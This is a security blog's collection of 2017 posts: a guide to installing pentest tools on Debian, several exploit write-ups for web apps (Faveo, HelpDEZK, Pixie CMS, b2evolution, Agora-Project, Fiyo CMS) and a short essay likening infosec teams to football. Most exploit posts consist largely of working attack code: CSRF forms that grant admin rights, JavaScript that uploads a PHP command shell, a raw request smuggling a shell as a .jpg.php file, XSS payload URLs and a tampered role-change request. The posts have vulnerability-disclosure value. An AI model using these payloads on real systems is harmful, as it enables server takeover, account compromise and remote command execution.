2017 ~ IT dan Security Audit

Kamis, 12 Oktober 2017

Made Your Debian 8.0 Such As Operating System for Hacking

Hey, I want to post about Operating System for Hacking. Generally you can use like as Linux Times, Backbox, DracOs, Parrot, etc. But in case, I want my debian OS such as kali linux even though this is standard.
You can refer into "https://tools.kali.org/tools-listing", to choose tool which one you want. Basically I need Nmap, Metasploit, DnsEnum, SQLMap, Hydra, Nikto, etc. In this, I want install Nmap, Nikto, SQLMap and Metasploit, so check this command:

The first:

# apt-get update

The second (SQLMap):

# sudo apt-get install git
# git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
# cd /sqlmap-dev/
# chmod +x sqlmap.py
# python sqlmap.py -h

The third (Nmap):
# apt-get install nmap
# nmap -h

The fourth (Metasploit):

# wget https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb

# chmod +x msfinstall

# chmod +x msfupdate.erb

# ./msfupdate.erb

# /opt/metasploit-framework/bin/msfconsole

The fifth (Nikto):

# apt-get install nikto
# nikto -update

Thanks

CSRF / Privilege Escalation (Manipulation of Role Agent to Admin) on Faveo version Community 1.9.3

21.55 No comments

Exploit Title: CSRF / Privilege Escalation (Manipulation of Role Agent to Admin) on Faveo version Community 1.9.3
Date: 05-April-2017
Exploit Author: @rungga_reksya, @yokoacc, @AdyWikradinata, @dickysofficial, @dvnrcy
Vendor Homepage: http://www.faveohelpdesk.com/
Software Link: https://codeload.github.com/ladybirdweb/faveo-helpdesk/zip/v1.9.3
Version: Community 1.9.3
Tested on: Windows Server 2012 Datacenter Evaluation
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L (8.3 - HIGH)

I. Background:
Faveo Helpdesk Open source ticketing system build on Laravel framework. Faveo word is derived from Latin which means to be favourable. Which truly highlights vision and the scope as well as the functionality of the product that Faveo is. It is specifically designed to cater the needs of startups and SME's empowering them with state of art, ticket based support system. In today's competitive startup scenario customer retention is one of the major challenges. Handling client query diligently is all the difference between retaining or losing a long lasting relationship.

II. Description:
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
Faveo have roles:

user (Cannot access backend)
agent (Can access backend but limited)
admin (Can full access backend)

III. Exploit:
CSRF Target is: “/public/rolechangeadmin/USER_ID”
user id = 11 (role is agent)
We have low privilege as “agent” to access application, and then want to change be admin role.

Make sample our script of CSRF (rolechange.html):

<html>
  <!-- CSRF PoC -->
  <body>
    <form action="http://192.168.228.186/faveo-helpdesk-1.9.3/public/rolechangeadmin/11" method="POST">
      <input type="hidden" name="group" value="1" />
      <input type="hidden" name="primary&#95;department" value="3" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Before running “rolechange.html”, please login your account as agent and running your html script.
Yeaaah, now user id 11 become admin privilege ^_^

Refer: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003)
--> I attach our screenshot and script CSRF:

csrf-faveo-agent-to-admin.txt livedemo.txt

Multiple CSRF / Code Execution Vulnerability on HelpDEZK 1.1.1

21.32 No comments

# Exploit Title: Multiple CSRF / Code Execution Vulnerability on HelpDEZK 1.1.1
# Date: 05-April-2017
# Exploit Author: @rungga_reksya, @yokoacc, @AdyWikradinata, @dickysofficial, @dvnrcy
# Vendor Homepage: http://www.helpdezk.org/
# Software Link: https://codeload.github.com/albandes/helpdezk/zip/v1.1.1
# Version: 1.1.1
# Tested on: Windows Server 2012 Datacenter Evaluation
# CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1 - CRITICAL)

I. Background:
HelpDEZk is a powerfull software that manages requests/incidents. It has all the needed requirements to an efficient workflow management of all processes involved in service execution. This control is done for internal demands and also for outsourced services. HelpDEZk can be used at any company's area, serving as an support to the shared service center concept, beyond the ability to log all the processes and maintain the request's history, it can pass it through many approval levels. HelpDEZk can put together advanced managing resources with an extremely easy use. Simple and intuitive screens make the day-by-day easier for your team, speeding up the procedures and saving up a lot of time. It is developped in objects oriented PHP language, with the MVC architecture and uses the templates system SMARTY. For the javascripts, JQUERY is used.

II. Description:
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

HelpDEZK have role for type person:

admin = 1
user = 2
operator = 3
costumer = 4
partner = 5
group = 6

III. Exploit:

—> The first CSRF Target is: “/admin/home#/person/”
(Admin - Records - People & Companies)

The guest (no have account) can make admin privilege with CSRF / Code Execution. This is script for make account admin:
<html>

<body>
    <form action="http://192.168.228.186/helpdezk-1.1.1/admin/person/insertNatural" method="POST">
      <input type="hidden" name="login" value="testing" />
      <input type="hidden" name="logintype" value=“3” /> 
      <input type="hidden" name="password" value="testing" />
      <input type="hidden" name="name" value="testing" />
      <input type="hidden" name="email" value="testing@local.com" /> 
      <input type="hidden" name="company" value="60" />
      <input type="hidden" name="department" value="1" />
      <input type="hidden" name="phone" value="" />
      <input type="hidden" name="branch" value="" />
      <input type="hidden" name="mobile" value="" />
      <input type="hidden" name="country" value="1" />
      <input type="hidden" name="state" value="1" />
      <input type="hidden" name="cpf" value="" />
      <input type="hidden" name="city" value="1" />
      <input type="hidden" name="neighborhood" value="Choose" />
      <input type="hidden" name="zipcode" value="" />
      <input type="hidden" name="typestreet" value="1" />
      <input type="hidden" name="address" value="Choose" />
      <input type="hidden" name="number" value="" />
      <input type="hidden" name="complement" value="" />
      <input type="hidden" name="typeuser" value="1" /> 
      <input type="hidden" name="location" value="" />
      <input type="hidden" name="vip" value="N" />
      <input type="hidden" name="filladdress" value="N" />
      <input type="hidden" name="dtbirth" value="" />
      <input type="hidden" name="gender" value="M" />
      <input type="hidden" name="time_value" value="" />
      <input type="hidden" name="overtime" value="" />
      <input type="hidden" name="changePassInsert" value="0" />
      <input type="submit" value="Submit request" />
    </form>
</body>
</html>

—> The second CSRF target is: /admin/home#/logos/
(Admin - Config - Logos)
If we have minimum low privilege, we can code execute to make shell on module logos (Position of Page Header, Login Page and Reports Logo). The HelpDEZK unrestricted file extension but normally access only for admin.

If you have low privilege, please choose which one to execute this code (before execute, you shall login into application): 

<html>
<body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://192.168.228.186/helpdezk-1.1.1/admin/logos/upload2", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1883328331133778598415248998");
        xhr.withCredentials = true;
        var body = "-----------------------------1883328331133778598415248998\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"index.php\"\r\n" +
          "Content-Type: text/php\r\n" +
          "\r\n" +
          "\x3c?php\n" +
          "\n" +
          "if(isset($_REQUEST[\'cmd\'])){\n" +
          "        echo \"\x3cpre\x3e\";\n" +
          "        $cmd = ($_REQUEST[\'cmd\']);\n" +
          "        system($cmd);\n" +
          "        echo \"\x3c/pre\x3e\";\n" +
          "        die;\n" +
          "}\n" +
          "\n" +
          "?\x3e\r\n" +
          "-----------------------------1883328331133778598415248998--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
</body>
</html>

————

<html>
<body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://192.168.228.186/helpdezk-1.1.1/admin/logos/upload", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------11525671838941487412014811928");
        xhr.withCredentials = true;
        var body = "-----------------------------11525671838941487412014811928\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\n" +
          "Content-Type: text/php\r\n" +
          "\r\n" +
          "\x3c?php\n" +
          "\n" +
          "if(isset($_REQUEST[\'cmd\'])){\n" +
          "        echo \"\x3cpre\x3e\";\n" +
          "        $cmd = ($_REQUEST[\'cmd\']);\n" +
          "        system($cmd);\n" +
          "        echo \"\x3c/pre\x3e\";\n" +
          "        die;\n" +
          "}\n" +
          "\n" +
          "?\x3e\r\n" +
          "-----------------------------11525671838941487412014811928--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
</body>
</html>

———————

<html>
<body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://192.168.228.186/helpdezk-1.1.1/admin/logos/upload3", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1789373681642463979344317937");
        xhr.withCredentials = true;
        var body = "-----------------------------1789373681642463979344317937\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"index.php\"\r\n" +
          "Content-Type: text/php\r\n" +
          "\r\n" +
          "\x3c?php\n" +
          "\n" +
          "if(isset($_REQUEST[\'cmd\'])){\n" +
          "        echo \"\x3cpre\x3e\";\n" +
          "        $cmd = ($_REQUEST[\'cmd\']);\n" +
          "        system($cmd);\n" +
          "        echo \"\x3c/pre\x3e\";\n" +
          "        die;\n" +
          "}\n" +
          "\n" +
          "?\x3e\r\n" +
          "-----------------------------1789373681642463979344317937--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
</body>
</html>

————
If you have executed and success, check your file on:
http://example.com/helpdezk-1.1.1/app/uploads/logos/

and PWN ^_^
http://example.com/helpdezk-1.1.1/app/uploads/logos/login_index.php?cmd=ipconfig

IV. Thanks to:
- Alloh SWT
- MyBoboboy
- Komunitas IT Auditor & IT Security

Refer:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003)
https://github.com/albandes/helpdezk/issues/2

Screenshoot:

1 - Default Account


2 - Script Make Account Testing

3 - Execute Script to Make Account Testing

4 - Success for Make Account Testing

5 - Success to Login on Application

6 - Script to Make User Account

7 - Success to Login as User Privilege

8 - Account User don't Have Logos Menu

9 - Prepare Script to Make Shell on Logos Module

10 - Execute Script to Make Shell

11 - Directory Listing and Found Your Shell

12 - Success to Execute Your Shell

Remote File Upload Vulnerability in File Manager Pixie 1.0.4 With Low Privilege

22.21 No comments

# Exploit Title: Remote File Upload Vulnerability in File Manager Pixie 1.0.4 With Low Privilege
# Google Dork: no
# Date: 02-April-2017
# Exploit Author: @rungga_reksya, @dvnrcy, @dickysofficial
# Vendor Homepage: http://www.getpixie.co.uk
# Software Link: https://us.softpedia-secure-download.com/dl/44791fdde14260bc7a8d08df65bcd048/58db4b5c/700044699/webscripts/php/pixie_v1.04.zip
# Version: 1.0.4
# CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H (7.5 - HIGH)
# CVE-2017-7402

I. Background:
Pixie is a free, open source web application that will help quickly create your own website. Many people refer to this type of software as a "content management system (cms)", we prefer to call it as Small, Simple, Site Maker.

II. Description:
in Pixie CMS have three types for account privilege for upload:
- Administrator - Can access file manager but restricted extension for file upload.
- Client - Can access file manager but restricted extension for file upload.
- User - Cannot access file manager

Generally Pixie CMS have restricted extension for file upload and we cannot upload php extension. in normally if we upload php file, Pixie CMS will give information rejected like this “Upload failed. Please check that the folder is writeable and has the correct permissions set”.

III. Exploit:
In this case, we used privilege as client and then access to “file manager” (http://ip_address/folder_pixie_v1.04/admin/index.php?s=publish&x=filemanager). Please follow this step:

1. Prepare software to intercept (I used burpsuite free edtion).
2. Prepare for real image (our_shell.jpg).
3. Browse your real image on file manager pixie cms and click to upload button.
4. Intercept and change of filename “our_shell.jpg” to be “our_shell.jpg.php”
5. Under of perimeter “Content-Type: image/jpeg”, please change and write your shell. in this example, I use cmd shell.
6. If you done, forward your edit request in burpsuite and the pixie cms will give you information like this “our_shell.jpg.php was successfully uploaded”.
7. PWN (http://ip_address/folder_pixie_v1.04/files/other/our_shell.jpg.php?cmd=ipconfig)

————
POST /pixie_v1.04/admin/index.php?s=publish&x=filemanager HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/pixie_v1.04/admin/index.php?s=publish&x=filemanager
Cookie: INTELLI_843cae8f53=ovfo0mpq3t2ojmcphj320geku1; loader=loaded; INTELLI_dd03efc10f=2sf8jl7fjtk3j50p0mgmekpt72; f9f33fc94752373729dab739ff8cb5e7=poro8kl89grlc4dp5a4odu2c05; PHPSESSID=1ml97c15suo30kn1dalsp5fig4; bb2_screener_=1490835014+192.168.1.6; pixie_login=client%2C722b69fa2ae0f040e4ce7f075123cb18
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------8321182121675739546763935949
Content-Length: 901

-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="upload[]"; filename="our_shell.jpg.php"
Content-Type: image/jpeg

<?php
if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}
?>

-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="file_tags"

ourshell
-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="submit_upload"

Upload
-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="MAX_FILE_SIZE"

102400
-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="bb2_screener_"

1490835014 192.168.1.6
-----------------------------8321182121675739546763935949--

This is our screenshot from PoC:

Upload for valid image

Change extension and insert your shell

Your shell success to upload on server

Example command for ipconfig

Example command for net user

IV. Thanks to:
- Alloh SWT
- MyBoboboy
- @rungga_reksya, @dvnrcy, @dickysofficial
- Komunitas IT Auditor & IT Security Kaskus

Multiple XSS Vulnerability on Pixie 1.0.4

08.20 No comments

# Exploit Title: Multiple XSS Vulnerability on Pixie 1.0.4
# Google Dork: no
# Date: 29-03-2017
# Exploit Author: @rungga_reksya, @dickysofficial
# Vendor Homepage: http://www.getpixie.co.uk
# Software Link: https://us.softpedia-secure-download.com/dl/44791fdde14260bc7a8d08df65bcd048/58db4b5c/700044699/webscripts/php/pixie_v1.04.zip
# Version: 1.0.4
# Tested on: Windows Server 2012 Datacenter Evaluation

I. Background:
Pixie is a free, open source web application that will help quickly create your own website. Many people refer to this type of software as a "content management system (cms)", we prefer to call it as Small, Simple, Site Maker.

II. Description:
XSS Vulnerability on Pixie 1.0.4

We found Multiple XSS on admin folder perimeters:

s=login&m=
s=settings&x=
s=publish&m=static&x=
s=publish&m=dynamic&x=
s=publish&m=module&x=

III. Exploit:

- http://ip_address/folder_pixie_v1.04/admin/?s=login&m="><img src=x onerror=prompt(/PAYLOADXSS/)> or http://ip_address/folder_pixie_v1.04/admin/index.php?s=login&m="><img src=x onerror=prompt(/PAYLOADXSS/)>

- http://ip_address/folder_pixie_v1.04/admin/index.php?s=settings&x="><img src=x onerror=prompt(/PAYLOADXSS/)>

- http://ip_address/folder_pixie_v1.04/admin/index.php?s=publish&m=static&x="><img src=x onerror=prompt(/PAYLOADXSS/)>

- http://ip_address/folder_pixie_v1.04/admin/index.php?s=publish&m=dynamic&x="><img src=x onerror=prompt(/PAYLOADXSS/)>

- http://ip_address/folder_pixie_v1.04/admin/index.php?s=publish&m=module&x="><img src=x onerror=prompt(/PAYLOADXSS/)>

IV. Thanks to:
- Alloh SWT
- https://packetstormsecurity.com/files/126870/Pixie-CMS-1.04-Cross-Site-Scripting.html
- MyBoboboy
- @dickysofficial
- Komunitas IT Auditor & IT Security Kaskus
- Openbugbounty.org

Remote File Upload Vulnerability in b2evolution 6.8.8

20.31 2 comments

# Exploit Title: Remote File Upload Vulnerability in b2evolution 6.8.8
# Google Dork: no
# Date: 14-03-2017
# Exploit Author: @rungga_reksya, @dvnrcy, @yokoacc
# Vendor Homepage: http://b2evolution.net
# Software Link: http://b2evolution.net/downloads/6-8-8?download=6883
# Version: 6.8.8 Stable
# Tested on: Windows Server 2012 Datacenter Evaluation
# CVE : no

I. Background:
b2evolution is a tool that allows you to build your own website. This ranges from just a home page to a full featured site with multiple blogs, forums for your user community and structured content such as manuals or knowledge bases. Additionally, b2evolution allows you to send newsletters to your user community and members can send private messages to each other.

II. Description:
Unrestricted file upload vulnerability in “file upload” modules in B2evolution CMS 6.8.8 allows authenticated user to upload malicious code (shell), even though in the system has restricted extension (php).

III. Exploit:
In this case, we have privilege as administrators and then access to “files menu” (http://HOST/b2evolution/admin.php?ctrl=files). Choose your directory and upload your shell with php extension.

e.g you choose “admin” folder, so access your shell such as:
http://HOST/b2evolution/media/users/admin/[YOUR_SHELL]

IV. Thanks to:
- Alloh SWT
- MyBoboboy
- @yokoacc, @dvnrcy
- Komunitas IT Auditor & IT Security Kaskus

V. Screenshot/POC:

php extension was blocked

determine your directory

succeed to upload shell

take over operating system server

XSS Vulnerability on Agora-Project 3.2.2

07.57 No comments

# Exploit Title: XSS Vulnerability on Agora-Project 3.2.2
# Google Dork: no
# Date: 23-02-2017
# Exploit Author: @rungga_reksya, @AdyWikradinata, @yokoacc
# Vendor Homepage: https://www.agora-project.net
# Software Link: https://www.agora-project.net/?ctrl=offline&action=download
# Software Link Mirror: https://jaist.dl.sourceforge.net/project/agora-project/agora_project_3.2.2.zip
# Version: 3.2.2
# Tested on: Windows Server 2012 Datacenter Evaluation
# CVE : CVE-2017-6559, CVE-2017-6560, CVE-2017-6561, CVE-2017-6562

I. Background:
Agora-Project is a workspace dedicated to collaboration and information exchange. Complete and intuitive, this tool is accessible via a simple web browser. Ideal for teamwork, it facilitate the exchange and creativity of a group around a common project, releasing the constraints of time and space.

Agora-Project is ideal for small structures such as associations, schools or SME, but is also suitable for larger organizations by allowing the establishment of subspaces.

II. Description
Vulnerability on CMS Agora is XSS

III. Exploit
No Login:

http://IP_Address/folder_agora_project_3.2.2/index.php?disconnect=1&msgNotif[]="><img src=x onerror=prompt(/XSS/)>
http://IP_Address/folder_agora_project_3.2.2/index.php?ctrl=misc&action="><img src=x onerror=prompt(/XSS/)>&editObjId="><img src=x onerror=prompt(/XSS/)>

Needed login:

http://IP_Address/folder_agora_project_3.2.2/index.php?ctrl=object&action="><img src=x onerror=prompt(/XSS/)>_id="><img src=x onerror=prompt(/XSS/)>
http://IP_Address/folder_agora_project_3.2.2/index.php?ctrl=file&targetObjId=fileFolder-2&targetObjIdChild="><img src=x onerror=prompt(/XSS/)>

IV. Thanks to
- Alloh SWT
- https://www.exploit-db.com/exploits/19329 (Chris Russell)
- MyBoboboy
- @AdyWikradinata, @yokoacc
- Komunitas IT Auditor & IT Security Kaskus
- Openbugbounty.org

Privilege Escalation (Manipulation of User Group) Vulnerability on Fiyo CMS 2.0.6.1

22.10 No comments

# Exploit Title: Privilege Escalation (Manipulation of User Group) Vulnerability on Fiyo CMS 2.0.6.1
# Google Dork: no
# Date: 11-03-2017
# Exploit Author: @rungga_reksya, @dvnrcy
# Vendor Homepage: http://www.fiyo.org
# Software Link: https://sourceforge.net/projects/fiyo-cms
# Version: 2.0.6.1
# Tested on: Windows Server 2012 Datacenter Evaluation
# CVE : CVE-2017-6823

I. Background:
Fiyo CMS dikembangkan dan dibuat pertama kali oleh mantan seorang pelajar SMK yang pada saat itu bersekolah di SMK 10 Semarang jurusan RPL. Pada zaman itu namanya bukan Fiyo CMS melainkan Sirion yang merupakan akronim dari Site Administration.

II. Description:
Privilege Escalation (Manipulation of User Group) Vulnerability on Fiyo CMS 2.0.6.1

III. Exploit:
Fiyo CMS have five user group (super administrator, administrator, editor, publisher, member) and only three group can access backend page of admin (super administrator, administrator and editor).

If we login as super administrator and access edit profile menu, check source code (ctrl+u) from your browser and we get level privilege:
super administrator = 1
administrator = 2
editor = 3
publisher = 4
member = 5

Ok, prepare your tool like burpsuite to intercept traffic. in this case I login as editor and I want manipulation of editor group (level=3) to be super administrator group (level=1). The first you access on menu “Edit Profile” and click “Simpan (Save)”, and then change like this on your burpsuite intercept menu:

Original:

POST /fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3 HTTP/1.1
Host: 192.168.1.2
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.2/fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3
Cookie: c40cded1c770e0ead20a6bcbf9a26edf=hplreme8us3iem3jg36km36ob5; PHPSESSID=dcj4n83jd2tdrjs32fo6gm9eq7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 134

edit=Next&id=3&z=editor&user=editor&z=editor&x=&password=editor&kpassword=editor&email=editor%40localhost.com&level=3&name=editor&bio=

Manipulation (Change Level=3 to be Level=1):

POST /fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3 HTTP/1.1
Host: 192.168.1.2
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.2/fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3
Cookie: c40cded1c770e0ead20a6bcbf9a26edf=hplreme8us3iem3jg36km36ob5; PHPSESSID=dcj4n83jd2tdrjs32fo6gm9eq7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 134

edit=Next&id=3&z=editor&user=editor&z=editor&x=&password=editor&kpassword=editor&email=editor%40localhost.com&level=1&name=editor&bio=

Yeaaah, now editor become super administrator privilege ^_^ and The level of administrator can be super administrator too.

IV. Thanks to:
- Alloh SWT
- MyBoboboy
- MII CAS
- Komunitas IT Auditor & IT Security Kaskus

Refer:
https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003)
https://en.wikipedia.org/wiki/Privilege_escalation

Screenshot:

Step One - login as editor and access menu for edit user

Step two - check on source code for level

step three - Intercept and found level 3 as editor

step four - change your level from 3 (editor) to 1 (super administrator)

step five - Success to update your profile and please logout

step six - yeah success to be super administrator

Information Security Look Like Football

05.20 No comments

Information security inside an organization look like a football game. Each person has different role and responsibility but having a common goal. The goal is to securing data and information of organization from technical level to strategic level.

We can map the roles exists in football to each member of IT security team, such as:

- The goal keeper and defender, they are the sysadmin and infrastructure network team. Protecting the assets at all cost. Their solid defense is contributed not only by their skills and knowledge, but also from the support of tools like firewall, SIEM, etc.

- The midfielder, or the one who balance the team. Their position is vital to maintain the game-play. They can be in backward position and in forward position in another time. They go by the name Information Security Officer, Division of Risk Management Internal, and Division of Compliance.

- The strikers, or the man who play the offensive parts. They are Information Security Consultant and Pentester. Their sole purpose is to penetrate the foe and scored a goal.

- The coach is the Top management. They oversee the game and take all responsibility of all result. Giving morale, guide the team, and decide what tactic should be used in the game.

- The tactic is like a information-security framework. The framework manage the position and task for each person in the team. It is also used to deciding the process when the game is on, either going defensive, offensive, or fortify the middle position to maintain the balance. Every tactic has advantage and disadvantage.

- Last but not least, the supporter. They are the stakeholder who has interests and concerns to the organization. They will support the team to be successful in running the business process inside the organization.

Thanks to:
@AdyWikradinata
@dvnrcy

IT dan Security Audit

Open Source

Certified

Operating System Pentest

Sherlock Holmes

Forensic

Kamis, 12 Oktober 2017

Made Your Debian 8.0 Such As Operating System for Hacking

Rabu, 05 April 2017

CSRF / Privilege Escalation (Manipulation of Role Agent to Admin) on Faveo version Community 1.9.3

Multiple CSRF / Code Execution Vulnerability on HelpDEZK 1.1.1

Minggu, 02 April 2017

Remote File Upload Vulnerability in File Manager Pixie 1.0.4 With Low Privilege

Jumat, 31 Maret 2017

Multiple XSS Vulnerability on Pixie 1.0.4

Selasa, 14 Maret 2017

Remote File Upload Vulnerability in b2evolution 6.8.8

Senin, 13 Maret 2017

XSS Vulnerability on Agora-Project 3.2.2

Sabtu, 11 Maret 2017

Privilege Escalation (Manipulation of User Group) Vulnerability on Fiyo CMS 2.0.6.1

Jumat, 10 Maret 2017

Information Security Look Like Football

Arsip Blog

Total Pageviews

Followers

Pesan